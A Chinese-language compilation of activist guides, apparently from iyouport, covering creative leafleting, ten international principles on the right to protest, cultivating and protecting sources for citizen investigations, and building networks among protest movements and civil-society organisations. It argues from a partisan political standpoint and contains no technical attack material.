如果您有一个组织良好的、活跃的社区，进行这些练习是很重要的；如果您没有，也可以变换一下思考方式，将大众教育的行动方式扩大化。

比如传单，是很多社会运动和动员的主要形式之一；但大多数情况下它也是令人厌恶的且无效的。您分发的东西不论纸张多么精美，绝大多数人都会转身就扔进垃圾桶。就算塞进口袋，人们也很可能根本不会去阅读。

简单说，如果您要进行标准的传单分发，那是在浪费时间；您需要的是高级传单：增加创意，以吸引人们的注意力，让他们更愿意接受您传递的信息。

发挥您的创造力！

1998年，应用自治学院（Institute for Applied Autonomy）制作了一

些小型的、很可爱的50年代风格的金属机器人，起名叫 “Little Brother”（反讽 “BigBrother”），放在路边。测试显示，路人大多会躲开人类分发的传单，而从机器人那里取得同样的传单。

【注：应用自治学院是一个匿名艺术家团体，以利用技术进行抗议而闻名。该组织的工作重点是传播知识，自主权和个人自决的反抗精神】

您要做的就是，让您的传单及分发过程变得有趣、独特和令人难忘。比如，您会搞一些嘉年华式的活动吗？圣诞节、民族节日、新年的活动，您可以制作一些 “幸运饼干”，把您的微型传单放在里面。

或者，还得记桑德斯的宣传活动吗？是的，免费冰激淋。不论人们是否感受到了 Bernie 的政策愿景，您都有机会 “品尝” 他。

Ben & Jerry’s 的创始人在下午最繁忙的阶段在旧金山联合广场分发免费的冰激淋样品 ““Bernie’s Yearning,””，以伯尼·桑德斯的名字命名。

这款冰激淋是纯薄荷的，顶部是一层坚实的巧克力，代表 “自经济衰退结束以来，绝大多数的经济收益都聚集到了1%的富豪手里”。而桑德斯的集会上将赠送奶油。

这是个令人印象深刻的创意。

利用戏剧性的表演来进行传单宣传也可以很有效。20世纪80年代，反对美国对中美洲进行军事干预的活动家们装扮成服务员，手捧托盘上面放着中美洲地图，地图上粘着绿色的小塑料玩具士兵。

他们走在街上，随机地拦住路人，说：“对不起，先生，是您下令发动这场战争的吗？” 当对方回答 “没有” 时， 活动家们会展示一个逐项列出费用的账单：“嗯不是您下令的，但您已经为它埋单了！” 即使路人没有接受传单，他们也会接受到这个直接的信息。

重点是，发传单在数字技术时代仍然有效，甚至比网络帖子更有效 —— 它不会受到算法操纵、不会被垃圾内容淹没。它是一个很好的方式来告诉路人您在为什么而游行，或者为什么您在街角发出高声呼吁。如果您的传单传递得有特色，人们更有可能拿着它，阅读它，并记住它的全部内容。

请记得，不要惹恼别人，不要和不理解您的人争论，那不会有任何帮助；您应该魅力十足地接近人们，这样您的听众才更有可能放下警惕，进而倾听您说的话。

您学到了？非常好！发挥创意吧，别忘了要让人们爱上你。〇

1. 行动技巧 (3)

原文

了解您的权利：反抗者工具包（2） - iyouport

行动技巧、战术和原理

您是有权利的。请记得这点。

4月15日的内容：

> 1983年，智利的铜矿大罢工，行动还没开始之前整个矿区就被军队包围了，任何人动一下就会出现大屠杀（铜矿是该国的经济支柱）。于是组织者就改变了策略，协调所有抗议者把日常生活变成抗议行动——比如晚上频繁开关灯、非常慢地开车，还包括假装手重，让锅碗瓢盆发出很大的声音。

欢迎回来！这里是《反抗者工具包》第2集。如果您错过了前面的内容，可以在这里回顾：《克服挑战的策略：反抗者工具包（1）》。

参加抗议活动的人必需首先了解自己的权利都有哪些，以便在必要时用法律授予您的权利保护自己。统治阶级完全不受控制地镇压和骚扰行为是违法的，只有当您了解法律可以保护您什么时才能为自己申辩。

但是请注意，我们依然要强调实质性的自我保护在先，您必须要首先有能力反击，其次才能谈论维权。完全依赖机构（不论任何机构）都是不现实的。这些保护措施在《示威参与者指南》系列中看到。

就国际法而言，结社自由、和平集会和言论自由的权利在各种条约中得到承认，包括《公民权利和政治权利国际公约》。这些权利共同构成了抗议的权利。

为了更好地界定抗议权，联合国和非洲人权和人民权利委员会等区域机制制定了国际标准，其中包括在抗议活动之前、期间和之后适用的10项一般原则。本文将总结这些原则如下。

1、必须无歧视地尊重人权

「图」

作为起点，各国必须尊重并确保抗议者的人权得到保护，不因种族、肤色、性别、性取向、语言、宗教或社会出身等任何法律禁止的理由而受到歧视。此外，如果国内法律文本中有关抗议权的规定存在模糊之处，则必须对模糊的规定作出有利于允许抗议活动发生的解释。

为确保充分行使抗议权，国家必须为各级政府的警察和参与管理抗议活动的任何其他当局提供必要的支持和充分的监督（见此处，第14–16段)。国家也要对非国家行为者的行为负责，如可能代表国家镇压抗议活动的私营维稳服务提供者。

2、每个人都有抗议的权利

「图」

就这一原则而言，每个人都有不可剥夺、不能被剥夺的权利 —— 参加抗议活动得到权利，只要是和平的。所有的抗议活动都应被推定为合法的，并应向抗议者提供对 “和平” 一词的更广泛解释。

“和平” 与 “合法” 是两个完全不同的概念。如果警察暴力攻击毫无威胁性的抗议者，遭受攻击的人就有权作出回应以保护自己。无差别随意攻击他人和有战略目标地破坏机构建筑，并不是一码事。统治阶级擅长混淆这两者，以将其对激进的活动家的暴力镇压合理化。在这里看到更多解释《暴力的非法性，合法性的暴力》。

应在其目标的视线和声音范围内为抗议活动提供便利，不应仅仅因为组织或参与抗议活动而追究任何人的刑事、民事或行政责任（见此处，第18–27段）。

抗议权是一项适用于个人但具有集体因素的权利。如果一个抗议者或一群抗议者正在从事无原则的荒唐的暴力攻击行为，应将这些抗议者从抗议活动中移除，并允许更广泛的抗议活动继续进行。

3、只有有限的限制可以适用

「图」

作为一般规则，抗议的权利不应受到任何形式的限制。然而，行使抗

议权可能会对未参与抗议活动的其他人行使权利产生影响，例如行动自由权。对抗议活动施加的任何限制都必须符合国际标准，而且应尽可能地减少限制。

对抗议权的任何限制都必须是合法的、必要的、相称的，并且在适用时没有歧视。对抗议权的限制，由施加限制的当局，如警察，承担证明的责任。在实施限制的情况下，抗议者必须有权在一个迅速、合格、独立和公正的法院或法庭对实施限制的决定进行司法或行政审查，以维护反抗的权利（见此处，第29–35段)。

4、国家必须为抗议活动提供便利

「图」

抗议权的核心是国家有义务促进该权利的行使。国家有积极的义务，确保抗议权得到便利和促进。这项义务包括提供基本服务，如交通管理、医疗援助和清理服务。抗议组织者不应被要求负责提供此类服务或承担其费用，也不应被收取“抗议费”。向抗议活动收取费用相当于国家要求为行使基本人权付费，这是不应该允许的。此外，对抗议者的拦截和搜查或逮捕绝对不得是任意的，也不得违反非歧视原则（见此处，第37–48段）。

5、只有在绝对不可避免的情况下才可使用武力

「图」

除非完全不可避免，否则不应对抗议者使用任何武力，如逮捕，或使用低致命性武器。如果一个国家使用武力，必须按照国际法进行。

根据国际法，国家有义务不加歧视地尊重和保护所有抗议者的权利，以及抗议监督者、旁观者和记者，包括公民记者。使用武力会违反这一义务。

如果使用武力，合法性原则要求各国为使用武力，特别是潜在的致命武力，制定符合国际标准的国内法律框架。此外，武力的使用必须始终是相称的和必要的，而且必须首先使用侵入性最小和暴力程度最低的武力。各国必须建立有效的报告和审核程序，以处理抗议期间发生的可能非法使用武力的任何事件(见此处，第50–66段)。

6、每个人都可以观察、监督和记录抗议活动

「图」

为了确保问责制并促进集会和言论自由的权利，每个人都应享有观察、监督和记录抗议活动的权利，无论他们是否是抗议活动本身的一部分。

这项权利包括记录警察行为和记录正在拍摄您的警察的权利。记录或报道抗议活动的权利并不只适用于经认证的记者。公民记者和公众成员都可以记录抗议活动，不需要任何认证或许可。对于侵犯监察员、旁观者和记录或报道抗议活动的人的人权的行为，应进行充分调查，必要时予以起诉（见此处，第68–71段）。

7、收集个人信息必须是合法的

「图」

国家和警务当局收集和处理个人信息，例如通过录音设备、闭路电视摄像头和秘密警务，必须遵守所有保护措施，防止任意或非法干涉隐私。规范收集和处理与抗议活动或其组织者和参与者有关的信息的立法和政策必须纳入合法性、必要性和相称性测试。应禁止在网上和网下对抗议者进行大规模或不加区别的监视。对在线访问或表达的限制必须是必要和相称的，并由独立于任何政治、商业或其他不正当影响的机构来实施(见此处，第73–77段)。

> 2012 年，联合国表示，“人们在线下拥有的相同权利也必须在网上得到保护，特别是

8、每个人都有获取信息的权利

「图」

为了充分了解抗议权并鼓励公民赋权，公众应能方便、迅速、有效和切实地获取与抗议有关的信息，包括与使用武力、数据收集和保留、以及集会记录有关的警务政策和准则。促进这种获取的合法化应基于最大限度的披露原则，确立一种推定，即；信息总是可以获取的，只受制于有限的例外情况。例外情况必须始终有正当理由，只有在信息公开不符合公共利益的情况下才应适用 (见第 79–81 段)。

9、在私人空间进行抗议的权利

「图」

随着许多情况下公共空间的日益私有化，应允许在向公众开放或满足公共目的的私有空间，如购物中心或私人监狱，进行抗议，这与充分享有抗议权是一致的。

同样，企业也有责任尊重人权，包括抗议的权利。这要求企业避免通过其活动造成或助长侵犯人权行为。国家有责任采取适当措施，防止和调查企业的侵犯人权行为，并为侵权行为提供有效补救。这适用于私营保安公司服务提供者和其他非国家行为者 (见此处，第83–87段)。

10、问责制和获得补救的权利

「图」

国家有义务为权利在抗议活动中受到侵犯的人提供充分、有效和迅速的补救措施，以应对侵犯人权行为，包括侵犯抗议权利的行为。补救措施，如从非法拘留中释放或赔偿，应由法院等独立的主管当局决定。国家必须确保当局确定的任何补救措施得到执行。侵犯人权的责任应扩大到对抗议活动有指挥控制权的警察，如果他们未能行使有效的指挥和控制。国家必须向可归咎于国家并构成严重违反国际法的行为的受害者或幸存者提供赔偿 (见此处，第89–95段)。

更多相关资源：10 Principles for the Proper Management of Assemblies: Implementation Checklist

—— 未完待续 ——

原文

（3）您知道该如何培养和维持信任吗？- 管理信息源的有效方法：简易指南 - iyouport

行动技巧、战术和原理让它民主-公民掌握真相的技巧和技术

（2020年11月12日存档）开始建立自己的联系人，学习如何开发关系、交流和维护资源，以及如何通过与人合作来丰富您的调查。

在您的调查过程中，您会接触到您想要采访的人，但也会接触到其他一些人，他们会在此后较长的时间内向您提供信息，而您不一定会采访他们。这些人将是您的消息来源。

- 不要错过另一份指南 《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》

本工具包所涵盖的信息 —— 关于消息来源的类型、如何识别他们、如何进行背景研究、如何确定他们的偏见和可信度、如何接触、如何安全沟通等等 —— 既适用于长期消息来源，也适用于一次性采访对象。

某些细节可能会有所不同，下面将做详细介绍。

创建议程和关系网络

「图」

如果您是一名调查员（或计划成为调查员），除了您可能需要联系特定的人进行特定的调查外，您还需要建立一个可以长期依赖的信息来源网络。

您可以通过建立关系，从非正式的互动开始，喝杯咖啡，或在他们的工作场所见面，来具体接触消息来源。您也可以在完成特定的采访或调查后，通过与消息源继续保持联系，尝试将您的采访对象变成长期的消息来源。

📌 要以有意义的方式收集联系人，同时要特别注意安全地保存和存储细节，以保护您的消息来源的身份。例如，您的议程可能涉及到建立一个针对特定主题的联系人名单，其中包括环保人士、律师、政治活动家、人权研究人员、官员等。它必须严格保密。

📎不要抛弃或忽视低级别的人员；他们将来可能会达到一个负责任的位置，更容易获得更敏感的信息（或者仅仅因为他们可以接近当权者，而能够帮助您获得证据和/或访谈的机会）。对于某些敏感的消息来源来说，要注意他们工作的特殊地位，并确保您采取高度安全的措施，以维护你们之间互动的机密性。

如果您已经在调查界很有名气（或正在变得更具知名度），人们也可能会在较长的时间内接触您并提供信息。您应该始终确定这些信息来源的可靠性和其自身的偏见，询问他们的意图，并规定你们之间关系的界限。

建立信任

「图」

当您试图获得信息来源的信任时，您的工作就是最好的工具。

如果您此前做过其他调查，而且您能够保护被采访者和消息来源的隐私和安全，其他人就更可能愿意与你合作。不仅要建立起作为调查员的声誉，还要建立起作为关心你的采访对象的人的声誉，同样，记得要真诚。人们可能会因为与您保持关系而承担巨大的风险，您应该始终确保您承认这一点。

保持联系："三通法则"

「图」

📌 永远不要把您的消息来源视为理所当然。一旦你建立了联系并开始建立关系，你就需要表现出充分的兴趣并保持这一联系。理想情况下，不要在您需要什么的时候才给您的消息来源打电话；相反，尝试应用三次通话的法则。# 偶尔发一次信息，表示对他们的情况感兴趣，确保他们觉得你不是在寻找信息。

- 过几天可以再打第二个电话，看看他们的情况，问问他们的工作和生活情况如何，让他们知道你想去喝杯咖啡。这应该只是为了叙旧，而不是为了套取任何信息。

- 然后，当你真正需要他们进行调查的时候，第三个电话就会自然而然地发生。

1. 列表-5 “护盾” 栏目，和列表-1 “技术防身” 中所介绍的隐私保护方法都将在此适用
2. 如何验证事件发生的地点和事件的方法，可见 列表-5 “开源情报” 和 “侦探挑战” 游戏中介绍的方法和具体操作演示。
3. 做到这点很容易，搜索就可以了。不要错过《如果你擅长搜索，你能找到一切》
4. 这是指您需要确认发布者的身份是否属实。使用假人操纵舆论的信息战手段如今正越来越多地出现，在这里看到识别和揭露的方法《一个惊人的案例：积极的反政府抗议者居然是个假人》

- 以及《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》；《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》
- 请注意，这里指的 “假人” 是完全虚构的身份，有目的地虚构以实施定向欺诈，而不是敏感人士不得不采取的假名保护措施。后者非但不意味着信息不实，恰恰相反，敏感人士使用假名正是为了提供真实信息而免于被抓捕的必要措施。如果您是敏感人士，在这里看到保护技巧《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》

1. 私下交流很重要，如果对方提供的信息足够敏感，您最好不要使用社交媒体的私信功能，而是转移到更私密的平台上进一步交流（私信功能可以用作转移平台的方式），在交流过程中您可以采取这个指南中介绍的技巧《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》
2. 这点也很重要。发布者在自己发布的内容中泄漏了敏感的信息，比如人脸、证件、条形码等细节，并不意味着您作为调查人员能直接使用这些信息，因为您和您的组织的知名度远高于发布者个人，您的使用将对发布者产生更重大的影响，这件事必须事先告知发布者。
3. 这是指避免个人偏见的方法。合作是最佳途径 —— 不同人从不同角度对同一件事的审视将帮助您更好地避免漏洞
4. 发布者的身份最好能与其透露的信息所显示的身份相符。如果发布者声称 “听朋友/家人说”，您需要能直接联系到该 “朋友/家人”。
5. 验证真伪的更多方法见 列表-3 “让它民主”

6. 《到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算》
7. 更多详细内容见《(公民)调查记者如何与吹哨人合作：7点提示》

5、次要来源

次要来源是那些不发布新闻但将其传播的人。某事件的官方报告或新闻官员发表的评论可以称为辅助消息来源。二级来源通常不如一级来源可靠。

大多数目击者应被视为次要来源，因为尽管他们能够说出他们认为自己所看到的内容，但他们通常没有接受过此类工作的培训，而且可能非常不准确，因此毫无意义。

总之。您必须评估辅助来源的可靠性，并在必要时告知您的读者或听众信息的来源。

6、爆料

有时，有人会打电话给您讲述一件事，但拒绝透露姓名。这些是最危险的信息来源，应格外小心。

尽管匿名爆料可以提供良好的构架，但在进行大量检查之前，切勿使用这样的信息来源。如果他们错了，除非您与其他更可靠的消息来源核对了他们的说法，否则您将直接承担责任。

通常，爆料的人会在询问时告诉您他们的名字，但是需要您承诺不会向其他人透露他们的名字。您仍然必须仔细检查他们的言论，因为，如果对准确性存在任何争议，例如，如果您因诽谤而被法庭起诉，您就不能引用这样的爆料人作为您的消息来源。

最后

「图」

本指南介绍的是作为公民调查人员您最基本应该掌握的一些技巧 ——请结合其中穿插的其他文章以帮助更深层理解。

让公民掌握专业技能是直接行动的基础。〇

Protection of journalistic sources

Ethical Journalism Network

Proof of Life and Other Templates

Rory Peck Trust

Global Investigative Journalism Network

The News Manual online

1. 行动技巧 (4)

原文

合作是强大的武器：反抗者工具包（3）- 您可以利用哪些力量？ - iyouport

行动技巧、战术和原理

您从来不是也不应该是孤军奋战的。中国流行的 "献忠学" 值得惋惜，而非倡导，因为，那很难取得胜利。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《克服挑战的策略：反抗者工具包（1）》
- 《了解您的权利：反抗者工具包（2）》

中国朋友可能很讲求人脉资源，但往往不是为了行动，而是为赚钱和“办事”。这样的人脉资源建立在共同利益上，或者说，交易，于是当利益关系结束时，它就会结束。中文的“人脉”可能不等于联合，即便它建立在政治共识之上。

老读者知道，我们多次不断强调的是联合，也简单分析过为什么中国人难以联合起来。因为联合是最重要的武器 —— 是否擅长借力，对行动者来说是一项关键能力。

那么，如何做到？您也许可以借助的力量都有哪些呢？在您的战略部署中应该纳入什么？本文将就此呈现一个思路。

文中所指的“网络”是由一些具有相同目标和愿景的抗议运动组成的，可以在增强单个运动的可持续性和有效性方面发挥重要作用。它和人际关系网络是一样的。更多相关内容见《建立国际团结：全球斗争中的人际关系》。

网络往往使运动能够推行强大的战略，并取得独自运作时无法取得的成果。

网络可以增强公民在倡导政策和改善治理方面的力量和影响，并提供

一个知识和资源共享的平台。民间社会网络已经成为许多国际发展机构的首选合作伙伴，以寻求最大限度地扩大其项目的覆盖面、规模和影响。

选择网络的类型

「图」

抗议运动和公民社会组织可以通过多种方式联合起来形成网络。要决定您想加入或开始哪种形式的网络，需要仔细考虑您的运动想要通过与其他组织和运动的合作实现什么。

网络的形成至少有五个不同的原因，每一个原因都伴随着不同程度的协调承诺。

> 当网络之间将其共同的目的与最适合其相互依赖程度的网络结构结合起来时，更有可能成为高效和有效的网络。

1、交流信息

「图」

这需要低水平的、相互依赖和有限的联合决策，因为网络基本上是由组织或运动之间的非正式关系组成的。通常情况下，当一个组织为合作伙伴召开会议时，就会分享信息（见这里，第16页）。

比如隐私倡导组织和黑客主义行动组织联合，以对抗性思考方式揭露安全漏洞，并有效弥补漏洞。

2、用于政策、计划或活动的协调

「图」

这需要有限的相互依赖，但需要一些联合决策。由于这种形式的网络实际上是在寻找不同的运动或组织在各自的行动中能够相互补充的方法，协调工作一般由各运动的领导人完成（见这里，第16页）。

比如对抗资本主义的跨国联合反抗运动，不论是环保反抗、劳工运动、还是债务反叛、建制非建制，都可以在此联合起来。这是生态保护组织在反采掘主义资本主义运动中的行动分支

3、为了获得共同的资金

「图」

资助者可能会要求受支持的组织达到某些目标。单一的组织或运动可能没有能力达到所有这些目标，但当他们与其他组织合作时，就可以实现这些目标。

以满足资助条件为目的而形成的运动或组织网络往往需要在财务问题上进行联合决策，而且往往必须在法律上进行注册。

这种网络需要联合项目管理和财务团队，以确保网络中的所有组织都能共同完成资助者的目标和受助义务（见这里，第16页）。

对于遏制民间社会空间的国家来说，反抗运动注册组织是比较危险的。在异国注册也许可以，但同样需要考虑到，比如在欧洲注册，所有信息都将公开可查，您应该衡量风险成本。资助者也会考虑具体风险。

4、创建新的联合项目

「图」

创建新的联合项目，如倡导运动或服务提供计划，可能需要大量的联合决策，重点是计划行动和战略。这类网络的成员可能会决定有必要建立一个由不同创始运动的成员组成的新协调组织。这很可能是当协调被认为是长期的而不是单一的运动所需要的时候。

另外，网络也可以是一个联盟，由其中一个组织主持，进行特定的有限时期的倡导活动（见这里，第16页）。比如互联网自由组织就是这样的跨国联盟，由一个组织（活动）引领全球各个国家本土的数字权利运动，有一些统一的纲领，也有更多的创意空间；定期聚会，交流各国本地的工作成效和遇到的问题。

5、创造一个长期的共同身份

「图」

这需要高水平的联合决策。各个运动致力于创建一个新的共同组织，其愿景、准则、政策和领导结构独立于其成员组织，有时还作为一个新实体进行法律注册。

这种形式的网络通常雇用长期工作人员，并使用正式的程序，如领导层选举。这对长期的事业和运动来说是有效的（见第16页）。

选择合作伙伴

「图」

选择哪些组织和运动作为网络的合作伙伴，必须在仔细考虑运动的需求之后进行。例如，一个运动是否需要会议空间、更多的支持者、专家信息、社会信誉或国际意识等因素，可能会影响到为什么选择特定的合作伙伴。比如数字安全和数字权利运动就需要法律专家、技术专家、国际意识（互联网无国界）等因素。

最有效的网络是那些有明确目标和合作战略来实现它的网络。必须根据目标和需求的一致性来选择合作伙伴（见这里，第20页）。

根据您的运动的性质和您想建立网络的目的，您可能希望接触一些合作伙伴。

最有效的网络是那些有明确目标和合作战略来实现它的网络。必须根据目标和需求的一致性来选择合作伙伴。

1、基层运动

「图」

抗议性质的变化和移动连接的兴起使基层运动的工作变得更加容易，并使这些运动成为民主变革的关键推动力（见这里，第4页）。

在许多人看来，基层运动比正式的公民社会组织更能代表社区，更能了解大众所面临的实际问题。他们在人口覆盖方面通常也更加多样化，在抗议方式上也更有创造性（见此处，第2页）。重要的是，基层运动相互之间形成网络，正式的公民社会组织与他们建立联系，资助者直接与基层运动合作。

基层运动往往是围绕着影响人们日常生活的具体问题而组织起来的。这些问题并不总是某一个社区所独有的，不同的基层运动在经历相同问题时的合作有可能增强对统治阶级的压力以促使当权者解决这些问题。

基层运动往往代表着最弱势、最边缘化和被社会排斥的人群。例如，拉丁美洲的基层运动往往是原住民利益的主要代表。

基层运动、正式的公民社会组织和资助者网络的形成，可以加强有效地致力于变革的范围、影响、相关性和能力。

2、基于网络建设组织

「图」

有一些组织是专门为寻求实现相同目标的社会和抗议运动而建立网络的。这些网络建设组织通常专注于特定的问题，并促进从事这些问题的抗议运动之间的联系。比如数字权利、互联网自由、反战运动、无政府主义运动、反资本主义运动等等。

除了促进这种联系，许多这样的组织还致力于为合作的运动提供能力以推动发展，帮助确保他们创建的网络的可持续性。例如，在墨西哥，一个支持与失踪人员家属合作的网络建设组织还开办了公民社会学校，帮助活动家掌握有效管理其运动所需的工具。墨西哥的组织只协助那些致力于以长期改造失踪文化为目标的运动。

3、国际非政府组织

「图」

虽然活动家们常常不信任国际非政府组织，但它们同样有可能成为有用的合作伙伴。红十字国际委员会和乐施会等组织以多种方式运作。虽然它们以向受冲突或灾难影响的人们提供人道主义支持而闻名，但它们也致力于支持抗议运动。他们可以在国际法律和行政框架方面提供有用的技术支持、信息和指导（见这里）。

国际非政府组织给予的支持可以用来帮助创建多样化、多层面的运动，这些运动的基础应该是基本无争议的良好研究。这就是红十字会支持墨西哥失踪人口运动的方式。该组织在协助进行法医分析以识别遗体方面特别有用。这也被用作支持其他抗议战略的说服性工具（如抵抗政治迫害强迫失踪的反抗运动），并为运动的可信度提供了很大帮助。

4、联合国机构

「图」

联合国由无数的机构组成，它们致力于实现一系列的目标。如果某个机构负责处理您的运动所关注的具体问题、或您的运动所面临的挑战，与联合国机构合作—— 通常是以非正式的身份—— 可能会非常有用。

例如，在智利的学生抗议活动中，警察对参加抗议的中学生特别粗暴。学生运动向联合国儿童基金会（UNICEF）寻求援助。联合国儿童基金会发表声明谴责这种暴行，这增加了国际社会对这一问题的关注和国际压力，以制止对抗议者的暴力行为。

联合国特别程序，如集会和结社自由权利特别报告员，也可能是调查侵犯人权行为和报告侵犯人权行为的有用伙伴（见这里）。

请注意，仅仅是“可能”。并且，前提是，您需要首先准确记录并安全保存事实。关于如何做到准确记录和安全保存，见这里，尤其是其中加入的延伸阅读内容。

5、外国国家和外交使团

「图」

虽然与外国和外交使团建立伙伴关系可能非常困难，因为支持其他国家的抗议运动涉及政治问题，特别是当这些运动要求民主变革时。

不过，许多国家并不关心本国人民的意见，相反他们更关心外国的看法。作为综合战略的一部分，通过抗议的内部压力加上外部压力，包括制裁形式，有可能更有效地推进民主变革。

南非的情况就是这样，结束种族隔离的压力来自国内和国际上的许多方面（见这里，第146页）。一些国家的抗议运动将成员派往国外，游说外国政府和外交官给予支持。

外部压力不一定只以制裁的形式出现。它也可能是为了确保各国履行它们在国际法和标准方面对联合国或区域人权机构的义务。

6、媒体

「图」

媒体是任何抗议运动的强大伙伴。重要的是，反抗运动要与进步的媒体机构接触，对抗议活动的领导人进行采访，邀请他们参加小组讨论，如果可能的话，播放有关导致抗议活动的情况的纪录片。

广播、电视和印刷媒体都是潜在的合作伙伴，更现代的媒体形式，如 YouTube 内容创作者，也是如此。成功合作的例子包括媒体机构建立抗议活动的现场直播，对抗议活动进行有利的报道。

有一点注意事项，见《在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作》。

信息可以迅速传播给大量受众，抗议运动的成员也可以利用新媒体写下自己的经历，发布事件发生时的视频，并相互交流。

一个成功的运动将确保他们同时依靠传统媒体和现代媒体，使用不同的平台来接触不同的人群，并使用许多平台来扩大行动者的声音（见这里，第11页）。

请注意，这里的要点是，反抗行动要利用媒体，并拒绝被媒体所利用。很大程度上这取决于您的行动战略对统治阶级的挑战性。众所周知，传媒业是统治阶级的叙事矩阵的支柱，全世界的统治阶级都致力于控制各种媒体，当您的行动真正具有挑战系统的能力时，您最好不要指望任何职业媒体能对您的行动保持公平。

但利用职业媒体无疑对行动项目来说有很大的好处，借助它们的宣传能力能帮您快速获得公众注意力。于是与媒体说话时您应该有一些策略技巧，见这里。

成功网络的特点

「图」

成功的公民社会网络往往具有类似的特点。它们可以被归纳为三大领域：(1）历史和外部环境；（2）社会目标和技术专长；（3）领导力、治理和管理。在设计、建立和评估成功的网络时，这些领域都不能忽视（见这里，第11页）。

1、历史和外部环境

「图」

成功的公民社会网络往往是建立在不同组织内个人的历史关系之上的。曾经合作过或互动过的人和组织组成的网络往往是最有效的。已经拥有社会资本和社会影响力的组织组成的网络也往往是有效的，因为他们能够结合并复合他们原有的力量。

突尼斯的公民社会 National Dialogue Quartet 就是一个很好的例子。2011年，这个网络由四个成熟的组织组成，他们一起为商定新宪法和举行选举制定了路线图，并形成了一个新的、交替的对话进程（见这里，第10页）。

应该指出的是，在公民空间非常封闭的国家，很难形成成功的网络，因为会议和通信设施往往受到国家的严格限制（见这里，第12页）。在这种情况下，有效的网络往往是比较非正式的，由与国际行为者而不是国内行为者的伙伴关系组成。

2、社会目标和技术专长

「图」

最成功的公民社会网络通常是那些围绕公众重视的问题进行动员的网络。这些问题往往是已经在媒体上受到广泛关注的问题，是公众监督的对象。

然而，仅仅有一个备受关注的社会目标是不够的。网络需要具备解决这些目标的技术专长，包括广泛的知识、技能和其他资源，从法律和媒体专长、到社会动员、以及通过广泛的研究获得合法性。成功的网络还应该建立专业知识的确切含义，并以此来指导他们形成的额外的外部伙伴关系和他们委托的工作（见这里，第12页）。

3、领导、治理和管理

「图」

当领导力、治理和管理相对协作时，网络的工作效果最好，它依赖于集体领导，即 领导者代表整体的愿景，并抛开个人的自我；代表性治理，即 所有成员直接或代表性地参与，非正式或正式地参与；协调性管理，即 为志愿行动建立指导，并在信任系统上工作，而不是在单一组织中常见的那种相对指令性和等级性方法。

治理和管理功能的合作系统，如记录保存、沟通、筹资和财务管理，对网络的成功也很重要，特别是在较大的、更制度化的网络中，必须

向多个成员组织和资助者负责（见这里，第13页）。

建立网络

「图」

一旦您确定了对您的运动有益的网络类型，并确定了您想纳入这个网络的合作伙伴，就必须考虑如何最好地建立网络并维持构成网络的运动或组织之间的关系。

网络的建立需要参与的伙伴决定可能很复杂的后勤问题，如领导结构（如果需要的话）、运动战略和长期计划，包括那些与潜在的敏感问题如财务有关的问题。

决定这些事项的方式将取决于网络的背景和组成网络的各方。但作为有效网络成员的运动都应该分享他们如何实现这一目标的想法。

1、和平时期的网络建设

「图」

简单说，您现在就应该开始。

在和平时期，各运动最适合建立联系和网络。在抗议活动最激烈的时候建立关系是很困难的，因为那种情况下环境是情绪化的和不稳定的。相反，网络的建立应该被看作是抗议和运动真正开始前的一个准备步骤。

在智利，2009年，三个最大的学生运动组织了一次会议，来自公立和私立大学的学生运动、教育工作者工会和工会的上级组织都参加了会议。在这次会议上，各种运动能够形成关系并开始分享信息。他们确定了哪些运动在政治和意识形态上是一致的，哪些是不一致的，但仍然可以分享有用的资源。这次会议是学生运动之间合作的基础，在2010年采矿危机期间帮助矿工的救济工作，以及在2011年实现大学经费制度改革的大规模学生抗议活动。

2、面对面的会议

「图」

在建立网络时，以及在网络存在的整个过程中，如果可能的话，成员

运动和组织亲自会面是很重要的。阿塞拜疆的抗议运动领导人发现，当代表亲自为运动的事业辩护时，更容易说服组织，特别是正式的公民社会组织、国际非政府组织和外国。这使潜在的合作伙伴能够对所面临的斗争产生共鸣，提出他们可能有的任何问题，并从第一手资料中获得对当地确切情况的了解。

个人运动及其领导人加入和参与网络的原因可能在不断变化。亲自会面更容易评估这些动机是否仍然一致（见这里，第90页）。

3、团体协议

「图」

虽然许多网络是在社会冲突的情况下建立的，但它们会经历内部冲突也很常见。这可能很难管理，并可能导致网络的崩溃。因此，在网络建立之初，成员应该起草一份基于共识的团体协议，列出网络的基本价值和承诺。这应该指导网络的运作，并用于调解任何内部冲突。

在较小的范围内，如果网络有定期的面对面的成员会议，可以在每次会议开始时编制一份团体协议，详细说明出席会议的人的价值观和承诺。这份文件可以作为指导，以建设性和尊重的方式处理任何内部冲突，帮助确保冲突不会导致长期的关系破裂（见这里，第94页）。

4、知识和联系的共享

「图」

有些网络是为了达到某个特定的目标而建立的，然后就解散了，而有些网络则是长期存在的，有时还会有不同的迭代（见这里，第10页）。

即使网络在实现特定目标后解散，知识共享也可以而且应该继续。虽然这种支持可能不是正式的，但它有助于确保关系和运动在长期内的可持续性。

可以分享的最重要的一种知识是围绕其他合作实现不同目标的运动，以及如何管理伙伴关系。抗议运动的成员可能知道有哪些运动或组织与他们以前的伙伴现在正在寻求实现相同的目标。

最后

「图」

我们关于行动技巧/战略战术的教程有很多，本系列也是其中之一，在列表-5中看到，您随时可以将它们本地化用于您的行动项目。〇

更多资源：

Year in Review: Protest and activism

Supporting Civil—Society Networks: IN INTERNATIONAL DEVELOPMENT PROGRAMS

Aid to Civil Society: A Movement Mindset

Social Movements and Social Change in Africa

Armed violence and the missing in Mexico and Central America

Civil Society at Crossroads: shifts, challenges, options

New Tactics in Human Rights Tactical Mapping

Vuka—Coalition for Civic Action

—— 未完待续 ——

原文

（4）结识新认识的人时您应该曝光自己多少信息？- 原则和技巧 - iyouport

行动技巧、战术和原理

（2020年11月4日存档）第一印象很重要，安全同样重要

曾经有很多朋友询问过这样的问题：我们如何彼此信任？怎样判断一个初识的人是可信的？

也许这是个错误的提问方式。信任需要分级，就如情报机构的做法 —— 那种依靠撒谎来完成任务的工作，所有人都是谎言精通者，这种情况下判断一个成员是否可信是相当有难度的；于是他们划分了严格的知情等级，不同的人分配不同的权限。

